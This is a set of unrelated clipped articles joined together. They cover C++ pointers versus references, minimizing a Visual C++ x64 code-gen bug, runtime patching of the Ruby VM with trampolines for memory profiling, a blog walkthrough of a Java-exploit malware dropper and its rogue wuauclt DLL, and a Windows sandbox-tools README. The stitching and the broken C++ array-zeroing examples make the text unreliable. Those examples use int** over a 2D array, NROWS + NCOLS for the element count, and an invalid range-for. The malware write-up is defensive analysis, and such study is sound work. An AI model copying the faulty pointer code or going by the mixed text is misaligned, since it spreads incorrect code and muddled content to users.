References were originally added to the C++ language to make it easy and
efficient to write copy constructors. But, in addition for functions like
swap, I would recommend using references as much as possible rather than
pointers.

Pointers aren’t going to go away any time soon, because C++ code often
contains thousands of lines of C legacy code. Furthermore, C++ programmers are
just in the habit of using them.

## Another Use of Pointers: Efficient Array Processing

The C programming language—which C++ is nearly backward-compatible with—was
originally developed for writing operating systems. As such, it had to enable
the programmer to write as close to the metal as possible, producing code
nearly as efficient as assembly or machine code.

In the old days of computing, it was interesting, even exciting, to see how
use of pointers could speed up your programs. In the 1980s, I honed my
C-language programming skills by writing several different versions of
Conway’s Game of Life. In the first version, I processed two-dimensional
arrays the obvious way, with array indexes. For example, to zero-out an array:

[code]

    int i = 0;
    int j = 0;
    for (i = 0; i < NROWS; i++) {
         for (j = 0; j < NCOLS; j++) {
              grid[i][j] = 0;
         }
    }
[/code]

\(Note: this being ancient C code, I couldn’t declare `i` or `j` inside the
loops.\)

Here was the version using a pointer to do the same thing but far more
efficiently:

[code]

    int **p = grid;
    int **end = grid + NROWS + NCOLS;
    for (p = grid; p < end; p++) {
         **p = 0;
    }
[/code]

By using this optimization, along with a few other tricks, I sped up the Game
of Life by a factor of ten\! At first the gliders, pulsars, floaters, and
other “organisms” were moving like snails; but after my optimizations, they
were zipping across the screen at blinding speed. The gliders were moving so
fast I could hardly see them\! I had to start adding in delay mechanisms to
control the speed.

You should be able to see why—especially with 2D arrays—array processing was
so much faster with pointers. Rather than laboriously calculating each cell
positions by using indexes, the pointer version zipped through the array by
incrementing one integer position after each iteration until reaching “end,”
an address that was calculated just once, ahead of time.

Incidentally, a decent optimizing compiler would have done that calculation
for me, but I took the task upon myself. I should’ve been able to write:

[code]

    int **p = grid;
    for (p = grid; p < grid + NROWS + NCOLS; p++) {
         **p = 0;
    }
[/code]

The problem with this use of pointers for efficiently processing arrays is
that it has become largely superfluous. In accordance with Moore’s Law,
processors have become thousands of times faster than in the 1980s. Memory is
far more plentiful and much cheaper, so that allocation of an extra variable
here or there should hardly concern you anymore.

The bottom line is that unless you’re writing part of an operating system or
device driver with a piece of code designed to be executed millions of times a
second, you are hardly ever going to feel the difference between arrays
processed with indexes versus arrays processed with pointers.

And that is why the newer generation of languages—Java, C\#, and VB.NET—don’t
support pointers at all. The philosophy behind these languages is that any
code-optimization you would get from using a pointer to process an array is a
trivial matter given today’s hardware. Instead, you use array indexes, and
those indexes are automatically checked to see if they are in bounds.

Safety first is the philosophy of these languages.

All these language also support a `for each` statement \(also called “ranged-
based for”\), which the C++11 specification now supports as well. The beauty
of this feature is that it keeps array references strictly under the control
of the compiler, not permitting `i` to go out of bound, but it also permits
the compiler to internally optimize array-access technique for greatest
efficiency. With C++11, here’s how I’d zero-out my array:

[code]

    for (int &i : grid) {
         i = 0;
    }
[/code]

This version doesn’t use pointers. But note that it uses—you guessed it—a
reference variable.

## C++ Pointers and _new_

I can think of only one significant area in which it looks like pointers are
never going to go away for C++ programmers, at least not any time soon. When
you use the `new` keyword, either to dynamically allocate an object or
dynamically allocate a primitive data item \(integer or floating-point\), the
keyword returns an address, which you normally assign to a pointer.

[code]

    int *p1 = new int;   // p points to a dyn. allocated integer
[/code]

One thing I like about C++ is that, unlike Java, C\#, and VB.NET, it
recognizes no fundamental difference between primitive types and classes.
Classes, in C++, are simply types that you create yourself, in effect
extending the language.

Therefore, you dynamically allocate and refer to an object—an instance of a
class—in precisely the same way you’d dynamically allocate an integer:

[code]

    MyClass *p2 = new MyClass;   // p points to a dyn. allocated object
[/code]

But this syntax mandates pointer usage; I can see no safe way of coercing such
a pointer value into a reference. You are stuck with pointers, at least in
current, standard versions of C++. \(Because, as shown earlier, pointers and
references in function arguments usually have the same underlying
implementation. It would be theoretically possible, I suppose, to trick the
compiler into accepting one for the other, but don’t ever try that at home\!\)

Interestingly enough, Java, C\#, and VB.NET all use references in this
situation, which is relevant to my learning problem that I mentioned at the
beginning of this article. In these languages, you can declare an object
variable \(that is, a variable with class type\), but it is always a
reference. That means it “points nowhere” unless initialized with either \(1\)
an object allocated with `new` or \(2\) the name of an existing object.
Because references are used consistently in this context, they work just
fine—as long as you understand how references work.

There is one other reason why you will continue to work with pointers in C++.
The use of pointers is deeply ingrained in the C++ standard library inherited
from C. Many of the newer language features, such as range-based `for` and the
items in the Standard Template Library \(including the C++ string class\) tend
to minimize pointer usage, and in doing so present far fewer opportunities for
you to inadvertently shoot yourself in the foot.

And yet C++ will always support pointers because, despite their dangers and
difficulties, there will always be that occasional op-system or device-driver
writer that needs them.

# How to Report a VC++ Code-Gen Bug | Random ASCII
**Created:**| _10/14/2013 7:20:56 PM_  
---|---  
**Updated:**| _10/14/2013 7:20:56 PM_  
**Author:**| __  
**Tags:**| _C++ visualstudio_  
  

# How to Report a VC++ Code-Gen Bug****

My coworkers recently found a bug in the x64 code generated by Visual C++**.**
This bug exists in VC++ 2010 to VC++ 2013 RC. We put in a workaround \(the
traditional one of disabling optimizations for the afflicted function\) and I
created a minimal repro to allow reporting of the bug to Microsoft**.**

This post discusses the poorly understood art of how to create minimal reproes
of compiler bugs using Visual C++**.**

The bug showed up in a large member function in a source file that, with its
include files, was several hundred thousand lines of code**.** This object
file was linked with hundreds of other object files and dozens of
libraries**.** The resulting DLL was loaded into a process with many other
DLLs where it would connect to multiple databases and web servers**.** This is
so much complexity that it is useless for reporting the bug**.** In order to
investigate and report compiler issues it is important to reduce them to a
manageable size**.** I got this one down to a 4 KB .zip file.

## Most compiler bugs aren’t****

Five different people looked at this code before we decided that it was a
compiler bug**.** We quintuple checked because we all knew that the first rule
of compiler bugs is that they usually aren’t compiler bugs**.** To accurately
assess whether something is a compiler bug you have to know the language
standard, you have to know about undefined behavior \(for example, p\[i\] =
++i; is undefined \), you have to be comfortable reading assembly language,
and you have to realize that you might be wrong**.** Compiling the problematic
code with other compilers and looking at their warnings can be helpful in
determining whether your code is at fault**.**

## /FAcs – linking is optional****

When iterating on code generation \(code-gen\) you can save a lot of time if
you don’t have to link and run your code**.** In the traditional
edit/compile/link/run cycle the last two stages can easily take 90% or more of
the time, so if you can skip them you can iterate ten times faster**\!** I use
this trick when investigating compiler bugs and when figuring out how to get a
compiler to generate efficient code **.** Skipping the link/run cycle also
means that you can call functions that don’t exist, which simplifies your
workflow when you are focused on a single function**.**

The trick in Visual Studio is to modify the build settings so that you can see
the assembly language generated by each source file without invoking the
linker**.** Go to _Properties_ , _C/C++_ , _Output Files_ , and set _Assembler
Output_ to _/FAcs_**.** This tells the compiler to create a .cod file
containing the generated assembly language**.** This file is typically put in
the same directory as the .obj file**.**

<img src='img/Temp2_4083.png' alt='image' />

If you have Whole Program Optimization \(aka Link Time Code Generation, or
/LTCG or /GL\) enabled then machine code won’t be generated until link time,
which is not what you want**.** To disable LTCG to to the project properties
in _General,_ look for _Whole Program Optimization,_ and set it to _No_**.**
That should change the setting in _C/C++_ , _Optimization_ , _Whole Program
Optimization_ , but check that just to be sure**.**

If disabling LTCG makes the code-gen bug stop happening then coming up with a
minimal repro is going to be harder, and beyond the scope of this post –
sorry**.**

Compile the problematic file using Ctrl+F7**.** Load the .cod file into Visual
Studio and make sure that VS is set to automatically reload modified
files**.** This setting is in _Tools_ , _Options_ , _Environment_ ,
_Documents_ , _Auto-load changes if saved_**.** Now every time that you
recompile the problematic source file the .cod file will be regenerated and
reloaded**.** If you are making minor changes then the problematic machine
code will stay in view**.** If you make larger changes then it may move –
search for the function name and “PROC” to find it**.**

## Delete, delete, delete****

Now you can start iterating on the code**.** The basic idea is to delete or
simplify code, compile, and see if the bug still occurs**.** Since you aren’t
linking the code you can delete code aggressively – you only need enough to
let the source file compile**.** You should be able to delete all functions
after the problematic function, and the bodies of all of the functions before
it**.**

Because you aren’t linking and running the code you have to know what the bug
looks like in order to tell whether it is still there**.** In the case of this
bug there was a specific signature that I was watching for:

  * mov ebx, \[rax+48\] ; Move 32-bits to ebx**.** This is zero-extended to rbx**.**
  * cmp rbx, 0xFFFFFFFFFFFFFE70 ; Compare against a sign-extended constant

The bug here is that the _mov_ to _ebx_ zero extends the value to 64 bits in
_rbx_ , but the 64-bit _cmp_ is using a sign-extended constant**.** It is
impossible for the comparison to ever succeed**.** The variables in question
were both 32-bit _int_ and the compiler emulated a 32-bit comparison
incorrectly**.** The register used by the compiler varied, but always there
was the zero-extended _mov_ and the sign-extended constant for the _cmp_**.**

More on the bug later, the point is to know what to look for so you can tell
whether the bug is still there by inspecting the .cod file**.**

In addition to deleting other functions that aren’t needed you should start
deleting parts of the buggy function**.** The more code you remove the easier
it is to understand what is going on and the smaller your repro will be**.**
It is not uncommon at this point to spot a mistake that you have made and
realize that the bug is in your code, thus proving that it’s not a compiler
bug**.**

In the case of this bug I took the original function which was a few hundred
lines and trimmed it down to about ten lines of code**.**

## Isolate****

Now you have a minimal function that probably references some data and makes
some function calls**.** In order to come up with a minimal repro you need to
simplify those references and calls**.** For instance, let’s imagine that the
function had a line like this:

> int v = g\_sys->Foo\(\)->Bar\(\)->Data\(\)->GetInt\(\);
If the line can be deleted entirely then that is ideal, but if ‘v’ or the
function calls are part of the bug then you can’t do that**.** But you can
start simplifying. If _g\_sys- >Foo\(\)_ returns a _Foo\*_ then declare a
global variable of that type and change the expression to:

> extern Foo\* pFoo;  
> int v = pFoo->Bar\(\)->Data\(\)->GetInt\(\);
See what we did there**?** The variable pF _oo_ is declared but not defined
anywhere**.** This code won’t link, but we don’t care – we’re just
compiling**.** If the bug still reproes \(examine the code carefully\) then
replace _pFoo- >Bar\(\)_ with pB _ar_ , and then replace _pBar- >Data\(\)_
with _pData_ , and maybe even replace _pData- >GetInt\(\)_ with
_GetInt\(\)_**.** Simplify, simplify, simplify. The more code you remove now,
the easier the next step will be**.**

In the case of this bug the triply nested member function calls needed one
level of indirection to still reproduce the bug, so the final line looked like
this:

> extern Data\* pData;  
> pData->GetInt\(\);
The Data class is probably big and complicated, so we have to simplify it**.**
That’s usually quite easy because the only functionality we are using from it
is _GetInt\(\)_**.** You’ll want to create a _MyData_ struct that contains
that accessor function and the backing data that it needs, rename _Data_ to
_MyData_ and then confirm that the code-gen bug is still there**.** Here’s
what a typical simplified struct might look like:

> struct MyData  
> \{  
>  uint32 m\_TheInt;  
>  uint32 GetInt\(\) \{ return m\_TheInt; \}  
> \};
You should repeat this set of operations until you have a function with no
non-trivial external references**.** This includes getting rid of references
to member variables – those can usually be replaced with global variables –
and then eventually making your function a non-member function, or a member of
a trivial class**.**

At every step of this process you need to verify that the bug is still
happening**.** This is a research project because you don’t know what
transformations are “bug-preserving” and which are not**.**

You should go back and forth between deleting code and isolating it –
isolating it often opens up opportunities to delete more code**.**

## Making the repro****

At this stage you should have a small function**.** This function should have
references to a small number of global variables whose types are trivial**.**
You should be able to delete all the rest of the code from this source file
and all of the includes \(turn off precompiled headers to allow this\) and the
code should still compile and still reproduce the bug**.** We’re almost done\!

Now you need to make a new project**.** Turn on /FAcs, paste in the buggy
code, compile, and see if you can see the bug in the generated code**.** If
not then there must be a difference in the compilation settings, so go through
those until the bug comes back**.** Pay attention to what settings trigger
this bug as you will need that information for the bug report**.**

Once the bug is reproing in the new project you need to start making it link
again**.** Verifying a bug through code inspection is great, but getting it to
run is better**.** When doing this I recommend that you create a second source
file \(I typically call it SecondFile.cpp\) and put all of the global
variables and non-inline functions that your repro depends on there**.** This
should be trivial because you’ve deleted so much code that there aren’t many
external references and they are all simple**.** By putting these functions in
a second source file \(and because you’ve disabled LTCG, right**?**\) you’ve
ensured that the optimizer can’t see them. This means that even if the
functions just return a constant value the optimizer can’t use that
information**.** In my repro the second file just had a couple of data
declarations that needed to be hidden from the optimizer:

> static MyData foo =  
> \{  
>  \{ \},  
>  \(uint32\)k\_eOSUMQ  
> \};
> MyData\* pData = &foo;
You should adjust your repro so that it detects the bad behavior and prints
out a message**.** My repro prints “Bug\!” or “No bug.”

## Report the bug****

If you are still sure that you have a compiler bug then report it**.** The
compiler vendor should fix it and they may even supply more information about
what triggers the bug, how to avoid it, etc**.** Compiler bug fixes may take a
long time to arrive – even after the vendor ships the fix you still have to
upgrade – but your future self will thank you**.** Only by reporting bugs can
we get the improvements that we need **.**

## The specifics****

The specific bug that I tracked down was with the compiler treating 32-bit
integers as 64-bits, and doing it inconsistently**.** The ‘int’ type in VC++
is 32 bits, even on x64 builds, so if the compiler does full 64-bit operations
on an _int_ it is required to do them “as-if” they were 32-bit operations**.**
The compiler failed to do this**.**

The bug report can be found on connect.microsoft.com **.** It contains VS 2010
and VS 2013 projects that demonstrate the bug**.** All you have to do is build
and run the 64-bit release configuration and the program prints “Bug**\!**
”**.** The complete repro .zip files, including source code, project file, and
solution file, are about 4 KB**.**

Here’s the crucial bit of code – GetInt\(\) has a return type of unsigned int
and returns k\_eOSUMQ, a const int with a value of –400**.**

> int main\(\) \{  
>  int eClientLogonOSType = pData->GetInt\(\); // Was client\_os\_type\(\)  
>  printf\(“Optional function call to inhibit some optimizations**.** \n”\);  
>  for \(int i = 0; i < 1; ++i\) \{  
>  if \( eClientLogonOSType == k\_eOSUMQ \) \{  
>  printf\(“No bug**.** Try the 64-bit release build.\n”\);  
>  continue;  
>  \}  
>  printf\(“Bug**\!** k\_eOSUMQ should equal itself.\n”\);  
>  \}  
>  return 0;  
> \}
And here is the x64 code that is generated:

> main:  
>  sub rsp,20h  
>  mov rax,qword ptr \[3FDD3050h\]  
>  lea rcx,\[3FDD21B0h\]  
>  mov ebx,dword ptr \[rax+48h\]  
>  call qword ptr \[3FDD20F0h\]  
>  lea rcx,\[3FDD2188h\]  
>  cmp rbx,0FFFFFFFFFFFFFE70h  
>  je 000000013FDD1034  
>  lea rcx,\[3FDD2160h\]  
> 000000013FDD1034:  
>  call qword ptr \[3FDD20F0h\]  
>  xor eax,eax  
>  add rsp,20h  
>  pop rbx  
>  ret
The ‘cmp’ instruction is supposed to always compare equal, but it never does
because the high 32 bits of rbx are always zero**.**

## Security****

In these paranoid days of the NSA subverting every computer system available
every bug is a possible security flaw**.** This bug seems curiously
commonplace – why wasn’t it discovered when building Windows or other 64-bit
products**?** The most likely explanation is chance and happenstance, but
compiler bugs can be used to make innocuous source code do surprising
things**.** Maybe this bug is used as part of a back door to let code
execution go in a direction that the source code says is impossible**.** This
happened accidentally on the Xbox 360 where the low 32 bits of r0 were checked
and then all 64 bits were used**.** This inconsistency allowed a hypervisor
privilege escalation  that led to arbitrary code execution**.**

This bug is probably not security related, but security is another reason to
ensure that compiler bugs get fixed**.**

## Standardese****

The C++ standard says, in 4**.** 7.2, that assigning an int to an unsigned int
is legal and well defined**.** The MSDN documentation agrees with this
interpretation **.**

Section 4.7.3 says that the reverse conversion from unsigned int to int is,
for the value used here, implementation defined**.** MSDN’s explanation is not
very useful , but does say that the conversion is supported**.** Unlike
undefined behavior “implementation defined ” behavior \(such as
sizeof\(int\)\) is required to be documented, sane, and consistent**.**
Therefore the fact that the implementation defined behavior varies between
debug and release builds proves that this is a bug**.**

Microsoft agrees that is a bug**.** Their comments on the bug are a bit
confusing as they conflate undefined behavior \(very bad\) with implementation
defined behavior \(use with care\), but as long as they fix the bug I don’t
care**.**

About these ads

### Like this**** :

Like Loading..**.**

****

# Rewrite your Ruby VM at runtime to hot patch useful features at time to
bleed by Joe Damato

**Created:**| _11/23/2009 8:06:42 PM_  
---|---  
**Updated:**| _11/23/2009 8:06:56 PM_  
**Author:**| __  
**Tags:**| _ruby LOLZ programming_  
  

## Rewrite your Ruby VM at runtime to hot patch useful features

Comments

<img src='img/Temp2_6994.png' width='400' height='300' />  
If you enjoy this article, subscribe \(via RSS or e-mail\) and follow me on
twitter.

## Some notes before the blood starts flowin’

  * **CAUTION:** What you are about to read is dangerous, non-portable, and \(in most cases\) stupid.
  * The code and article below refer only to the **x86\_64** architecture.
  * Grab some gauze. This is going to get ugly.

## TLDR

This article shows off a Ruby gem which has the power to overwrite a Ruby
binary  _in memory_ while  _it is running_ to allow your code to execute in
place of internal VM functions. This is useful if you’d like to hook all
object allocation functions to build a memory profiler.

## This gem is on GitHub

Yes, it’s on GitHub: http://github.com/ice799/memprof.

## I want a memory profiler for Ruby

This whole science experiment started during RubyConf when Aman and I began
brainstorming ways to build a memory profiling tool for Ruby.

The big problem in our minds was that for most tools we’d have to include
patches to the Ruby VM. That process is **long and somewhat difficult** , so I
started thinking about ways to do this without modifying the Ruby source code
itself.

The memory profiler is **NOT DONE** just yet. I thought that the hack I wrote
to let us build something without modifying Ruby source code was interesting
enough that it warranted a blog post. So let’s get rolling.

## What is a trampoline?

Let’s pretend you have 2 functions: `functionA()` and `functionB()`. Let’s
assume that `functionA()` calls`functionB()`.

Now also imagine that you’d like to insert a piece of code to execute in
between the call to `functionB()`. You can imagine inserting a piece of code
that  _diverts execution_ elsewhere, creating a flow: `functionA()`
–>`functionC()` –> `functionB()`

You can accomplish this by  _inserting a trampoline_.

A trampoline is a piece of code that program execution jumps into and then
_bounces_ out of and on to somewhere else1.

This hack relies on the use of multiple trampolines. We’ll see why shortly.

## Two different kinds of trampolines

There are two different kinds of trampolines that I considered while writing
this hack, let’s take a closer look at both.

### Caller-side trampoline

A  _caller-side_ trampoline works by overwriting the opcodes in the  _.text_
segment of the program in the calling function causing it to call a different
function  _at runtime_.

The **big pros** of this method are:

  * You aren’t overwriting any code, only the address operand of a `callq` instruction.
  * Since you are only changing an operand, you can hook any function. You don’t need to build custom trampolines for each function.

This method also has some **big cons** too:

  * You’ll need to scan  _the entire binary in memory_ and find and  _overwrite_ all address operands of `callq`. This is problematic because if you overwrite any false-positives you might break your application.
  * You have to deal with the implications of `callq`, which can be painful as we’ll see soon.

### Callee-side trampoline

A  _callee-side_ trampoline works by overwriting the opcodes in the  _.text_
segment of the program in the called function, causing it to call another
function immediately

The **big pro** of this method is:

  * You only need to overwrite code in  _one_ place and don’t need to worry about accidentally scribbling on bytes that you didn’t mean to.

this method has some **big cons** too:

  * You’ll need to carefully construct your trampoline code to only overwrite as little of the function as possible \(or some how restore opcodes\), especially if you expect the original function to work as expected later.
  * You’ll need to special case each trampoline you build for different optimization levels of the binary you are hooking into.

I went with a  _caller-side_ trampoline because I wanted to ensure that I can
hook any function and not have to worry about different Ruby binaries causing
problems when they are compiled with different optimization levels.

## The stage 1 trampoline

To insert my trampolines I needed to  _insert some binary into the process_
and then overwrite `callq`instructions like this:

[code]

      41150b:       e8 cc 4e 02 00         callq  4363dc [rb_newobj]
      411510:       48 89 45 f8             ....
    
    
[/code]

In the above code snippet, the byte `e8` is the `callq` opcode and the bytes
`cc 4e 02 00` are the distance to`rb_newobj` from the address of the next
instruction, 0×411510

All I need to do is change the 4 bytes following `e8` to equal the
displacement between the next instruction, 0×411510 in this case, and my
trampoline.

**Problem.**

My first cut at this code lead me to an important realization: the `callq`
instructions used expect a  _32bit displacement_ from the function I am
calling and  _not_ absolute addresses. **But** , the 64bit address space is
_very_ large. The displacement between the code for the Ruby binary that lives
in the `.text` segment is so far away from my Ruby gem that the displacement
**cannot be represented with only 32bits**.

**So what now?**

Well, luckily `mmap` has a flag `MAP_32BIT` which maps a page in the first 2GB
of the address space. If I map some code there, it should be well within the
range of values whose displacement I can represent in 32bits.

So, why not map a **second trampoline** to that page which can contains code
that can call an  _absolute address_?

My stage 1 trampoline code looks something like this:

[code]

      /* the struct below is just a sequence of bytes which represent the
        *  following bit of assembly code, including 3 nops for padding:
        *
        *  mov $address, %rbx
        *  callq *%rbx
        *  ret
        *  nop
        *  nop
        *  nop
        */
      struct tramp_tbl_entry ent = {
        .mov = {'\x48','\xbb'},
        .addr = (long long)&error_tramp,
        .callq = {'\xff','\xd3'},
        .ret = '\xc3',
        .pad =  {'\x90','\x90','\x90'},
      };
    
      tramp_table = mmap(NULL, 4096, PROT_WRITE|PROT_READ|PROT_EXEC,
                                       MAP_32BIT|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
      if (tramp_table != MAP_FAILED) {
        for (; i < 4096/sizeof(struct tramp_tbl_entry); i ++ ) {
          memcpy(tramp_table + i, &ent, sizeof(struct tramp_tbl_entry));
        }
      }
    }
    
    
[/code]

It `mmap`s a single page and writes a table of default trampolines \(like a
jump table\) that all call an error trampoline by default. When a new
trampoline is inserted, I just go to that entry in the table and insert the
address that should be called.

To get around the displacement challenged described above, the addresses I
insert into the stage 1 trampoline table are addresses for stage 2
trampolines.

## The stage 2 trampoline

Setting up the stage 2 trampolines are pretty simple once the stage 1
trampoline table has been written to memory. All that needs to be done is
update the address field in a free stage 1 trampoline to be the address of my
stage 2 trampoline. These trampolines are written in C and live in my Ruby
gem.

[code]

    static void
    insert_tramp(char *trampee, void *tramp) {
      void *trampee_addr = find_symbol(trampee);
      int entry = tramp_size;
      tramp_table[tramp_size].addr = (long long)tramp;
      tramp_size++;
      update_image(entry, trampee_addr);
    }
    
    
[/code]

An example of a stage 2 trampoline for `rb_newobj` might be:

[code]

    static VALUE
    newobj_tramp() {
      /* print the ruby source and line number where the allocation is occuring */
      printf("source = %s, line = %d\n", ruby_sourcefile, ruby_sourceline);
    
      /* call newobj like normal so the ruby app can continue */
      return rb_newobj();
    }
    
    
[/code]

## Programatically rewriting the Ruby binary in memory

Overwriting the Ruby binary to cause my stage 1 trampolines to get hit is
pretty simple, too. I can just scan the `.text` segment of the binary looking
for bytes which look like `callq` instructions. Then, I can sanity check by
reading the next 4 bytes which should be the displacement to the original
function. Doing that sanity check should prevent false positives.

[code]

    static void
    update_image(int entry, void *trampee_addr) {
      char *byte = text_segment;
      size_t count = 0;
      int fn_addr = 0;
      void *aligned_addr = NULL;
    
     /* check each byte in the .text segment */
      for(; count < text_segment_len; count++) {
    
        /* if it looks like a callq instruction... */
        if (*byte == '\xe8') {
    
          /* the next 4 bytes SHOULD BE the original displacement */
          fn_addr = *(int *)(byte+1);
    
          /* do a sanity check to make sure the next few bytes are an accurate displacement.
            * this helps to eliminate false positives.
            */
          if (trampee_addr - (void *)(byte+5) == fn_addr) {
            aligned_addr = (void*)(((long)byte+1)&~(0xffff));
    
            /* mark the page in the .text segment as writable so it can be modified */
            mprotect(aligned_addr, (void *)byte+1 - aligned_addr + 10,
                           PROT_READ|PROT_WRITE|PROT_EXEC);
    
            /* calculate the new displacement and write it */
            *(int  *)(byte+1) = (uint32_t)((void *)(tramp_table + entry)
                                         - (void *)(byte + 5));
    
            /* disallow writing to this page of the .text segment again  */
            mprotect(aligned_addr, (((void *)byte+1) - aligned_addr) + 10,
                          PROT_READ|PROT_EXEC);
          }
        }
        byte++;
      }
    }
    
    
[/code]

## Sample output

After requiring my ruby gem and running a test script which creates lots of
objects, I see this output:

[code]

    ...
    source = test.rb, line = 8
    source = test.rb, line = 8
    source = test.rb, line = 8
    source = test.rb, line = 8
    source = test.rb, line = 8
    source = test.rb, line = 8
    source = test.rb, line = 8
    ...
    
    
[/code]

**Showing the file name and line number for each object getting allocated.**
That should be a strong enough primitive to build a Ruby memory profiler
without requiring end users to build a custom version of Ruby. It should also
be possible to re-implement bleak\_house by using this gem \(and maybe another
trick or two\).

**Awesome.**

## Conclusion

  * One step closer to building a memory profiler without requiring end users to find and use patches floating around the internet.
  * It is unclear whether cheap tricks like this are useful or harmful, but they are **fun** to write.
  * If you understand how your system works at an intimate level, nearly anything is possible. The work required to make it happen might be difficult though.

Thanks for reading and don't forget to subscribe \(via RSS or e-mail\) and
follow me on twitter.

## References

  1. http://en.wikipedia.org/wiki/Trampoline\_\(computers\) \[↩\]

# Typical Malware On A Typical Day « Joe's Security Blog

**Created:**| _11/18/2013 8:58:36 AM_  
---|---  
**Updated:**| _11/18/2013 8:58:36 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# **T** ypical Malware On A Typical Day****

Hello again fellow readers and security enthusiasts**.**

The last post was filler and I’m sorry for that**.** Today we’re going to go
over some typical malware, start to finish**.** Exploit to C&C
communication**.**

We start with our exploit file. Java of course**.** Most of the time when I
encounter a java file, it’s heavily obfuscated and uses reflection  to bypass
Anti-Virus & IDS systems. This is a rare exception – no reflection or
obfuscation**.** Maybe the guy delivering it didn’t know?  
In case you don’t know, here is what a typical piece of obfuscated /
reflection based java code looks like:  

<img src='img/Temp2_8641.png' alt='typical_jar_sploit' />

As you can see, I usually have to fart around with a eclipse to get an idea of
what’s going on, but not this time:

<img src='img/Temp2_8645.png' alt='jarfile2' />

  
In this case, the item being exploited is apparent**.** The SecurityManager
vulnerability.

The other class is of more interest:  

<img src='img/Temp2_8630.png' alt='jarfile1' />

How nice of them to leave the link to the binary in the open as well as the
means to reach it \(user agent strings\)**.**  

<img src='img/Temp2_8648.png' alt='jar3' />

  
The program downloads the file into the machine’s temp folder and executes
it**.**

So let’s take a look at the file:  

<img src='img/Temp2_8631.png' alt='bin0' />

Typical memory packed exe colluding with a CreateProcess\(\)  call right after
unpacking itself**.**

By the looks of the thing, its an MFC app**.**  

<img src='img/Temp2_8638.png' alt='justaguess' />

Since its MFC, that means when we debug the thing, we have to step into the
higher addresses to progress through the app and find the entry point:  

<img src='img/Temp2_8637.png' alt='entry point' />

If you’re lazy / smart, you’ll set break points on the interesting functions
we saw in IDA:  

<img src='img/Temp2_8647.png' alt='interest' />

  

<img src='img/Temp2_8643.png' alt='interest2' />

  
This skips the BS of having to step through MFC classes and other non
sense**.**

Running the app to this breakpoint, we make a revelation:  

<img src='img/Temp2_8649.png' alt='whatsthis' />

  
What the hell is ‘wuauclt’ **?** Windows updates\!

Let’s run the app some more and see what happens**.**

<img src='img/Temp2_8636.png' alt='wauc' />

By the looks of it, its referencing that wuauclt utility, but its in the wrong
place**.** Its _supposed_ to be in the system32 folder**.** But instead its in
another folder in %appdata%.  

<img src='img/Temp2_8635.png' alt='wauc2' />

Stepping through a few more procedures we see the following:  

<img src='img/Temp2_8644.png' alt='wauc3' />

Seems pretty cut and dry now**.** The malware is launching an alternative
version of windows update**.**

Comparing the malware’s version of ‘wuauclt’ with the unchanged version we see
they are very different both in size and contents:  

<img src='img/Temp2_8642.png' alt='compare' />

The MD5′s check out as being non malicious on VirusTotal**.** I think the
spawned / dropped version of Windows Update is fine**.** Here’s where shit
gets weird. There were 2 other files in the wuauclt directory in the user
appdata folder**.** ‘wuauclt.dat’ and ‘clbcatq.dll’. The dat file doesn’t
contain anything recognizable as it may just be encoded / encrypted, but the
‘clbcatq.dll’ file is what’s interesting**.** This file contains the goodies.

Peeking inside the DLL file we see calls known for VirtualAlloc,
VirtualProtect, and Sleep\(\)**.**

<img src='img/Temp2_8640.png' alt='dll file' />

Sleep for 1000 hours**?** Weird.

There’s another sleep call more in context with the appdata folder**.** A
shorter sleep – only 5.5 hours.  

<img src='img/Temp2_8632.png' alt='dll file 2' />

Assuming we wait the 5**.** 5 hours for the dll code to do its thang, we are
then taken to the following code, our all too familiar VirtualProtect /
VirtualQuery calls responsible usually for unpacking of memory packed data by
setting sections of memory as readable / writable / executable:  

<img src='img/Temp2_8646.png' alt='dll file 3' />

How can I prove this**?** I’ll have to edit the dll binary’s exe code so that
I don’t have to wait 5**.** 5 hours. A hex editor can be used for this, but I
prefer to use Immunity for this:  

<img src='img/Temp2_8633.png' alt='dll edit' />

  
Syncing up data structures in hex editors, alignment, and all that BS
sucks**.** When I patch ELF binaries, I have to use a hex editor**.** On
Windows, life is slightly easier.  

<img src='img/Temp2_8639.png' alt='dll edit2' />

Now we merely replace the dll file, launch the program, and start listening
for that C&C traffic**.** That was fun\!

Now for crazy speculation and theories:  
I think the windows update manager stored within the pulled down malware isn’t
actually malware, instead it contains a broken call to LoadLibrary  which
allows a program to invoke a dll of their choosing to be run in the context of
the new windows update exe program**.** Sound far fetched? Check this:  

<img src='img/Temp2_8634.png' alt='loadlib_maybe' />

  
The wuauclt.exe file has a special loadlibrary function**.** Then one of the
strings in the binary pulled down from the malware site was ‘/ShowWU’, one of
the command line argument switches  for ‘wuauclt.exe’**.** Maybe this switch
holds some significance with the rogue dll**?**

Just an idea. Just a typical day.

With these details alone, I was able to determine the good guys at sophos had
already done the same work  for me**.** Thanks guys.

If you want to play around with the files, I’ve included the IDB files,
patched and unpatched binaries here  for study \(pass is ‘infected’\)**.**

<img src='img/Temp2_8629.png' alt='SRFnU' />

Tags: cracking , dll , hacking , malware , reverse engineering , wuauclt

This entry was posted on Monday, November 18th, 2013 at 2:11 am and is filed
under cracking , reversing **.** You can follow any responses to this entry
through the RSS 2**.** 0  feed. You can skip to the end and leave a
response**.** Pinging is currently not allowed.

****

# google/sandbox-attacksurface-analysis-tools

**Created:**| _5/28/2017 11:09:37 AM_  
---|---  
**Updated:**| _5/28/2017 11:09:37 AM_  
**Author:**| __  
**Tags:**| _authentication bypass Malware-analysis_  
  

  

[code]

    sandbox-attacksurface-analysis-tools
    
    (c) Google Inc. 2015, 2016
    Developed by James Forshaw
    
    This is a small suite of tools to test various properties of sandboxes on Windows. Many of the checking
    tools take a -p flag which is used to specify the PID of a sandboxed process. The tool will impersonate
    the token of that process and determine what access is allowed from that location. Also it's recommended
    to run these tools as an administrator or local system to ensure the system can be appropriately enumerated.
    
    CheckDeviceAccess : Check access to device objects
    CheckExeManifest: Check for specific executable manifest flags
    CheckFileAccess: Check access to files
    CheckObjectManagerAccess: Check access to object manager objects
    CheckProcessAccess: Check access to processes
    CheckResistryAccess: Check access to registry
    CheckNetworkAccess: Check access to network stack
    DumpTypeInfo: Dump simple kernel object type information
    DumpProcessMitigations: Dump basic process mitigation details on Windows8+
    NewProcessFromToken: Create a new process based on existing token
    ObjectList: Dump object manager namespace information
    TokenView: View and manipulate various process token values
    NtApiDotNet: A basic managed library to access NT system calls and objects.
    NtObjectManager: A powershell module which uses NtApiDotNet to expose the NT object manager
    
    The tools can be built with Visual Studio 2015
    
    Release Notes:
    
    1.0.6
    -----
    * Added cmdlet to filter a Token object.
